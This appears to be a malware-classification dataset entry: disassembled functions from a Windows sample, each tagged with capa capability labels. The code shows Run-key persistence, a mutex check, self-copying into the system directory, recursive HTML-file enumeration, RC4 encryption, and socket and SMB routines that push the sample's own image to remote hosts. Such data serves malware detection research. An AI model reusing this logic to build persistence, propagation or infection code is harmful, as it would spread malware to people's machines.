joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401640
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push edi
push esi
push ebx
xor edi, edi
push 0x200
lea eax, [ebp - 0x200]
push eax
push edi
call sub.kernel32.dll_GetModuleFileNameA
cmp eax, edi
je 0x4016be
push str.__service
lea eax, [ebp - 0x200]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x204]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
cmp eax, edi
jne 0x4016b3
push 0x104
lea eax, [ebp - 0x200]
push eax
push 1
push edi
push str.MSDisk
push dword [ebp - 0x204]
call sub.advapi32.dll_RegSetValueExA
cmp eax, edi
jne 0x4016b3
inc edi
push dword [ebp - 0x204]
call sub.advapi32.dll_RegCloseKey
mov eax, edi
pop ebx
pop esi
pop edi
leave
ret

Function at 0x4016d0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
xor edi, edi
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
cmp eax, edi
jne 0x40170c
push str.MSDisk
push dword [ebp - 4]
call sub.advapi32.dll_RegDeleteValueA
cmp eax, edi
jne 0x401704
inc edi
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, edi
pop ebx
pop esi
pop edi
leave
ret

Function at 0x401990
Capabilities:
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc74
push edi
push esi
push ebx
push str.jhdheruhfrthkgjhtjkghjk5trh
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x41b8e2], eax
call sub.kernel32.dll_GetLastError
or eax, eax
jne 0x401a90
push dword [0x41b8e2]
call sub.kernel32.dll_CloseHandle
push 0x12c
lea eax, [ebp - 0x384]
push eax
push dword [0x41b8de]
call sub.kernel32.dll_GetModuleFileNameA
push 0x12c
lea eax, [ebp - 0x12c]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea ecx, [ebp - 0x12c]
cmp byte [eax + ecx - 1], 0x5c
je 0x401a02
mov word [eax + ecx], 0x5c
lea eax, [ebp - 0x12c]
push eax
push str._sirdvxc.exe
lea eax, [ebp - 0x258]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x38c]
push eax
lea eax, [ebp - 0x388]
push eax
lea eax, [ebp - 0x384]
push eax
call fcn.00401b60
mov edi, dword [ebp - 0x388]
cmp word [edi], 0x5a4d
jne 0x401a55
add edi, dword [edi + 0x3c]
cmp dword [edi], 0x4550
jne 0x401a55
xor word [edi + 0x16], 0x2000
push dword [ebp - 0x38c]
push dword [ebp - 0x388]
lea eax, [ebp - 0x258]
push eax
call fcn.00401ab0
cmp eax, 0xffffffff
je 0x401a7e
lea eax, [ebp - 0x258]
push eax
call fcn.00401b10
push 0x8000
push 0
push dword [ebp - 0x388]
call sub.kernel32.dll_VirtualFree
push dword [0x41b8e2]
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop ebx
pop esi
pop edi
leave
ret
Function at 0x401bf0
Capabilities:
Allocate or change rwx memory
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb40
push edi
push esi
push ebx
push str.Global1CKPUPP
push 0
push 4
call sub.kernel32.dll_OpenFileMappingA
or eax, eax
je 0x401c68
mov dword [ebp - 0x4bc], eax
push 0
push 0
push 0
push 4
push dword [ebp - 0x4bc]
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0x4c0], eax
mov ecx, dword [eax]
mov dword [ebp - 0x4b8], ecx
add eax, 4
mov edi, eax
push 0x40
push 0x1000
push dword [ebp - 0x4b8]
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x4b4], eax
push dword [ebp - 0x4b8]
push edi
push dword [ebp - 0x4b4]
call fcn.0040d76f
jmp 0x401c95
push 0x258
lea eax, [ebp - 0x4b0]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x4b4]
push eax
lea eax, [ebp - 0x4b0]
push eax
call fcn.00401b60
mov edi, dword [ebp - 0x4b4]
cmp word [edi], 0x5a4d
jne 0x401cb3
add edi, dword [edi + 0x3c]
cmp dword [edi], 0x4550
jne 0x401cb3
or word [edi + 0x16], 0x2000
mov edi, dword [ebp - 0x4b4]
mov esi, edi
add esi, dword [esi + 0x3c]
mov ebx, dword [esi + 0x34]
lea esi, [esi + 0x78]
mov eax, dword [esi]
push eax
push edi
call fcn.00401d30
add eax, edi
mov eax, dword [eax + 0xc]
push eax
push edi
call fcn.00401d30
add edi, eax
push edi
call sub.kernel32.dll_lstrlenA
push eax
push 0
push edi
call fcn.0040d7a0
push dword [ebp + 8]
push edi
call sub.kernel32.dll_lstrcpyA
push dword [ebp + 0xc]
call fcn.00401da0
push dword [ebp - 0x4b8]
push dword [ebp - 0x4b4]
push dword [ebp + 0xc]
call fcn.00401ab0
push 0x8000
push 0
push dword [ebp - 0x4b4]
call sub.kernel32.dll_VirtualFree
pop ebx
pop esi
pop edi
leave
ret 8

Function at 0x401d30
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushal
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x3c]
add esi, ecx
movzx eax, word [esi + 6]
mov dword [ebp - 8], eax
add esi, 0xf8
mov ebx, esi
add ebx, 0x28
jmp 0x401d85
mov ecx, dword [esi + 0xc]
mov eax, dword [ebx + 0xc]
cmp edi, ecx
jb 0x401d6c
cmp edi, eax
jae 0x401d6c
sub edi, dword [esi + 0xc]
add edi, dword [esi + 0x14]
jmp 0x401d8b
cmp edi, ecx
jbe 0x401d7c
cmp edi, eax
ja 0x401d7c
sub edi, dword [ebx + 0xc]
add edi, dword [ebx + 0x14]
jmp 0x401d8b
add ebx, 0x28
add esi, 0x28
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x401d56
mov dword [ebp - 4], edi
popal
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x402100
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push edi
push esi
push ebx
push 0x26a
call sub.ole32.dll_CoTaskMemAlloc
mov esi, eax
mov byte [esi + 0x13e], 0
push 0x414601
push dword [ebp + 8]
push 0x4145fb
lea eax, [esi + 0x13e]
push eax
call sub.user32.dll_wsprintfA
add esp, 0x10
push esi
lea eax, [esi + 0x13e]
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
jmp 0x40220d
cmp byte [esi + 0x2c], 0x2e
je 0x402206
lea eax, [esi + 0x2c]
push eax
push dword [ebp + 8]
push 0x4145fb
lea eax, [esi + 0x13e]
push eax
call sub.user32.dll_wsprintfA
add esp, 0x10
test byte [esi], 0x10
je 0x40218b
lea eax, [esi + 0x13e]
push eax
call fcn.00402100
push 0x64
call sub.kernel32.dll_Sleep
jmp 0x402206
lea eax, [esi + 0x2c]
push eax
call sub.user32.dll_CharLowerA
lea eax, [esi + 0x2c]
push eax
call sub.kernel32.dll_lstrlenA
lea edi, [esi + 0x2c]
cmp dword [eax + edi - 4], 0x6d74682e
je 0x4021b4
cmp dword [eax + edi - 4], 0x6c6d7468
jne 0x402206
push 0x258
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
lea eax, [esi + 0x13e]
push eax
push dword [ebp - 8]
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp - 8]
push 0x402230
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp - 0xc], eax
push 0xfffffffffffffff1
push dword [ebp - 0xc]
call sub.kernel32.dll_SetThreadPriority
push 0xffffffffffffffff
push dword [ebp - 0xc]
call sub.kernel32.dll_WaitForSingleObject
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
push esi
push ebx
call sub.kernel32.dll_FindNextFileA
or eax, eax
jne 0x40214c
push ebx
call sub.kernel32.dll_FindClose
push esi
call sub.ole32.dll_CoTaskMemFree
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x402470
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push edi
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x12c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x12c]
push eax
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyA
or eax, eax
jne 0x4024d2
push dword [ebp + 0x14]
call sub.kernel32.dll_lstrlenA
inc eax
push eax
push dword [ebp + 0x14]
push 1
push 0
push 0
push dword [ebp - 0x130]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 0x130]
call sub.advapi32.dll_RegCloseKey
pop edi
leave
ret 0x10

Function at 0x402540
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x402592
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
push esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x402a24
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
pushal
mov eax, 0x3020100
mov ecx, 0x40
sub esp, 0x200
lea ebx, [esp]
push ebp
push edi
mov edx, ebx
mov dword [edx], eax
add edx, 4
add eax, 0x4040404
loop 0x402a3c
push esi
shr esi, 1
push esi
shl esi, 2
push esi
shl esi, 1
push esi
xor esi, esi
xor edi, edi
xor eax, eax
xor edx, edx
lea ebp, [esp]
add al, byte [esi + ebp]
mov dl, byte [eax + ebx]
mov cl, byte [edi + ebx]
mov byte [eax + ebx], cl
mov byte [edi + ebx], dl
inc edi
inc esi
cmp esi, 0x10
jne 0x402a76
xor esi, esi
cmp edi, 0x100
jb 0x402a5e
add esp, 0x10
pop edi
pop ebp
inc cl
mov al, byte [ecx + ebx]
mov dl, byte [eax + ebx]
mov byte [edx + ebx], al
mov byte [eax + ebx], dl
xor byte [edi], al
inc edi
dec ebp
jne 0x402a83
add esp, 0x200
popal
ret

Function at 0x402a9f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push edi
push esi
push ebx
mov dword [ebp - 0xc], 0
push 0x12c
lea eax, [ebp - 0x140]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.00403280
mov edi, dword [ebp - 4]
mov dword [ebp - 0x148], edi
add edi, dword [edi + 0x3c]
add edi, 0xf8
push 0
call sub.kernel32.dll_GetModuleHandleA
mov esi, eax
mov dword [ebp - 0x144], eax
add esi, dword [esi + 0x3c]
add esi, 0xf8
mov eax, 0x405010
mov edx, dword [edi + 0x14]
add edx, dword [ebp - 0x148]
add edx, 0x3000
add edx, 0x10
push 0x3e8
push eax
push edx
call fcn.0040d76f
add esi, 0x28
add edi, 0x28
add esi, 0x28
add edi, 0x28
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x144]
mov edx, dword [edi + 0x14]
add edx, dword [ebp - 0x148]
push dword [esi + 0x10]
push eax
push edx
call fcn.0040d76f
push 0x40
push 0x1000
push dword [ebp - 0x14]
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.0040d76f
mov eax, dword [ebp - 0x14]
mov dword [0x41bd9c], eax
mov eax, dword [ebp - 0x10]
mov dword [0x41bd98], eax
mov dword [0x41bd90], 0x4029e2
mov ecx, fcn.00402a9f
sub ecx, 0x4029e2
mov dword [0x41bd8c], ecx
mov dword [0x41bd94], 0x180
mov dword [0x41bd80], 2
mov dword [0x41bd88], 0x3000
push 0x41bd80
call fcn.00402bf0
mov dword [ebp - 0xc], eax
push 0x8000
push 0
push dword [ebp - 0x10]
call sub.kernel32.dll_VirtualFree
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [ecx], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret 8
Function at 0x403280
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x4032f9
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov ebx, eax
add eax, 0x3e8
push 0x40
push 0x1000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
or eax, eax
je 0x4032f9
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edi
push 0
push esp
push ebx
push edi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov ecx, dword [ebp + 0x10]
mov dword [ecx], ebx
xor eax, eax
pop ebx
pop esi
pop edi
leave
ret 0xc
mov eax, 0xffffffff
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x403340
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
push 0x40
push 0x1000
push 0x1fffe
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x1fffe
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
push dword [ebp - 4]
call fcn.004033e0
push dword [ebp - 8]
call fcn.00403420
xor ebx, ebx
mov edi, dword [ebp - 8]
mov esi, dword [ebp - 4]
jmp 0x4033b9
xor edx, edx
mov eax, dword [ebx + esi]
mov ecx, 0xffff
div ecx
shl edx, 1
movzx eax, word [edx + edi]
mov ecx, ebx
shl ecx, 1
push ebp
movzx ebp, word [ecx + edi]
mov word [ecx + edi], ax
mov word [edx + edi], bp
pop ebp
inc ebx
cmp ebx, 0xffff
jne 0x403394
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x4033e0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push esi
push ebx
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
push dword [ebp + 8]
push 0x1fffe
push dword [ebp - 4]
call sub.advapi32.dll_CryptGenRandom
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptReleaseContext
pop ebx
pop esi
pop edi
leave
ret 4
Function at 0x406d90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push edi
push esi
push ebx
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.ws2_32.dll_gethostbyname
or eax, eax
je 0x406db4
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x406dbc
push dword [ebp + 0xc]
call sub.ws2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
push dword [ebp + 0x10]
call sub.ws2_32.dll_htons
mov word [ebp - 0xe], ax
push 6
push 1
push 2
call sub.ws2_32.dll_socket
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x38], 1
lea eax, [ebp - 0x38]
push eax
push 0x8004667e
push dword [ebp - 0x18]
call sub.ws2_32.dll_ioctlsocket
mov word [ebp - 0x3c], 1
mov word [ebp - 0x3a], 0
push 4
lea eax, [ebp - 0x3c]
push eax
push 0x80
push 0xffff
push dword [ebp - 0x18]
call sub.ws2_32.dll_setsockopt
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call sub.ws2_32.dll_connect
cmp eax, 0xffffffff
jne 0x406f18
call sub.ws2_32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x406f21
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x406f16
cmp eax, 0xffffffff
je 0x406f16
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00402a9f
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
mov edi, 0xff
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x406f03
cmp eax, 0xffffffff
je 0x406f03
push 0
push edi
push esi
push dword [ebp - 0x18]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x406eff
sub ebx, eax
or ebx, ebx
jne 0x406ef1
mov dword [ebp - 0x1c], 1
jmp 0x406f07
add esi, eax
cmp ebx, 0xff
jae 0x406f05
mov edi, ebx
jmp 0x406f05
jmp 0x406f07
jmp 0x406f07
jmp 0x406e9a
push 0x8000
push 0
push dword [ebp - 0x20]
call sub.kernel32.dll_VirtualFree
jmp 0x406f21
or eax, eax
jne 0x406f21
jmp 0x406e82
push 2
push dword [ebp - 0x18]
call sub.ws2_32.dll_shutdown
push dword [ebp - 0x18]
call sub.ws2_32.dll_closesocket
mov eax, dword [ebp - 0x1c]
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x407860
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8e8
push edi
push esi
push ebx
mov dword [ebp - 0x718], 0xffffffff
mov eax, dword [0x414006]
mov dword [ebp - 4], eax
add dword [ebp - 4], 3
add dword [ebp - 4], 0x20
push 0x200
push 0
lea eax, [ebp - 0x204]
push eax
call fcn.0040d7a0
lea esi, [ebp - 0x204]
lea edi, [ebp - 0x204]
push dword [ebp - 4]
call sub.ws2_32.dll_htonl
mov dword [edi], eax
add edi, 4
mov dword [edi], 0x424d53ff
mov byte [edi + 4], 0x72
mov byte [edi + 9], 0x18
mov word [edi + 0xa], 0xc853
mov word [edi + 0x1a], 0x3900
add edi, 0x20
mov eax, dword [0x414006]
mov word [edi + 1], ax
add edi, 3
push dword [0x414006]
push 0x41400a
push edi
call fcn.0040d76f
add dword [ebp - 4], 4
push 0
push dword [ebp - 4]
push esi
push dword [ebp + 8]
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
jne 0x407905
jmp 0x40797a
mov dword [ebp - 0x20c], 6
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x214], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x407973
cmp eax, 0xffffffff
je 0x407973
push 0
push 0x200
lea eax, [ebp - 0x714]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll_recv
lea esi, [ebp - 0x714]
add esi, 4
movzx eax, word [esi + 5]
jmp 0x40797a
mov eax, 0xffffffff
jmp 0x40797a
pop ebx
pop esi
pop edi
leave
ret 4

Function at 0x407a10
Capabilities:
Initialize winsock library

Disassembly:
call fcn.00407d20
push 0x8003
call sub.kernel32.dll_SetErrorMode
call fcn.00407fc0
call fcn.00407e30
push 0x41b442
call sub.kernel32.dll_InitializeCriticalSection
push 0x41b45a
call sub.kernel32.dll_InitializeCriticalSection
push 0x41b472
call sub.kernel32.dll_InitializeCriticalSection
push 0x41b48a
call sub.kernel32.dll_InitializeCriticalSection
push 0x41b4a2
call sub.kernel32.dll_InitializeCriticalSection
push 0x41ba46
push 0x202
call sub.ws2_32.dll_WSAStartup
or eax, eax
jne 0x407b5e
mov dword [0x41bcb0], 0x94
push 0x41bcb0
call sub.kernel32.dll_GetVersionExA
call fcn.004010c0
call fcn.00401080
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x41bd7c], eax
test dword [0x41472f], 0x10000000
je 0x407acb
cmp dword [0x41bcc0], 2
jne 0x407ac1
call fcn.004013d0
jmp 0x407b5e
call fcn.004015e0
test dword [0x41472f], 0x1000000
je 0x407aee
cmp dword [0x41bcc0], 2
jne 0x407ae7
call fcn.00401420
jmp 0x407b5e
call fcn.00407b65
test dword [0x41472f], 0x100000
je 0x407b11
cmp dword [0x41bcc0], 2
jne 0x407b0a
call fcn.00401170
jmp 0x407b5e
call fcn.00401640
jmp 0x407b5e
test dword [0x41472f], 0x10000
je 0x407b3d
call fcn.00407ef0
or eax, eax
jne 0x407b5e
cmp dword [0x41bcc0], 2
jne 0x407b36
call fcn.00401320
jmp 0x407b3b
call fcn.004016d0
jmp 0x407b5e
test dword [0x41472f], 0x1000
je 0x407b59
cmp dword [0x41bcc0], 2
jne 0x407b5e
call fcn.00401480
jmp 0x407b5e
call fcn.00407b65
push 0
call sub.kernel32.dll_ExitProcess
Function at 0x407b65
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
call fcn.00408060
push 0x41bbe0
push str._embedding
call section..text
cmp eax, 1
jne 0x407b8c
call fcn.00407da0
push str.jhdheruhfrthkgjhtjkghjk5trh
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [0x41bd64], eax
call sub.kernel32.dll_GetLastError
or eax, eax
je 0x407bba
push dword [0x41bd64]
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess
push 0xc
call sub.ole32.dll_CoTaskMemAlloc
mov dword [ebp - 8], eax
mov esi, eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi], eax
mov edi, 1
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4031f0
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [esi + 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402040
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp - 8]
push 0x407c90
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
mov edi, 4
lea eax, [ebp - 4]
push eax
push edi
push 0
push 0x402750
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [esi + 4], eax
push 0xffffffffffffffff
push dword [0x41bd7c]
call sub.kernel32.dll_WaitForSingleObject
cmp dword [0x41bd60], 0
je 0x407c7b
push 1
push 0
call fcn.00401570
push 0x3e8
call sub.kernel32.dll_Sleep
push 4
push 0
call fcn.00401570
push 0
call sub.kernel32.dll_ExitProcess

Function at 0x407d20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [0x41b8de], edi
add ebp, 4
mov ebx, 0xffffffff
push 0x400
push edi
call sub.kernel32.dll_IsBadReadPtr
or eax, eax
jne 0x407d69
cmp word [edi], 0x5a4d
jne 0x407d69
add edi, dword [edi + 0x3c]
cmp dword [edi], 0x4550
jne 0x407d69
movzx ecx, word [edi + 0x16]
test ecx, 0x2000
je 0x407d69
xor ebx, ebx
or ebx, ebx
jne 0x407d8a
call fcn.00401920
cmp esi, 1
jne 0x407d83
mov eax, 1
pop ebx
pop esi
pop edi
leave
ret 0xc
pop ebx
pop esi
pop edi
leave
ret 0xc
sub ebp, 4
pop ebx
pop esi
pop edi
leave
ret 0xc

Function at 0x407da0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push edi
push esi
push ebx
push 0
call sub.ole32.dll_CoInitialize
push 0x419fb8
call fcn.0040d700
mov dword [0x41bca8], eax
push 0x41bcac
push 1
push 4
push dword [0x41bca8]
push 0x41b8ea
call sub.ole32.dll_CoRegisterClassObject
push 0x12c
lea eax, [ebp - 0x180]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
xor eax, eax
lea edi, [ebp - 0x54]
mov ecx, 0x44
rep stosb byte es:[edi], al
mov dword [ebp - 0x54], 0x44
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
lea eax, [ebp - 0x180]
push eax
push edx
call sub.kernel32.dll_CreateProcessA
push 0
call sub.kernel32.dll_ExitProcess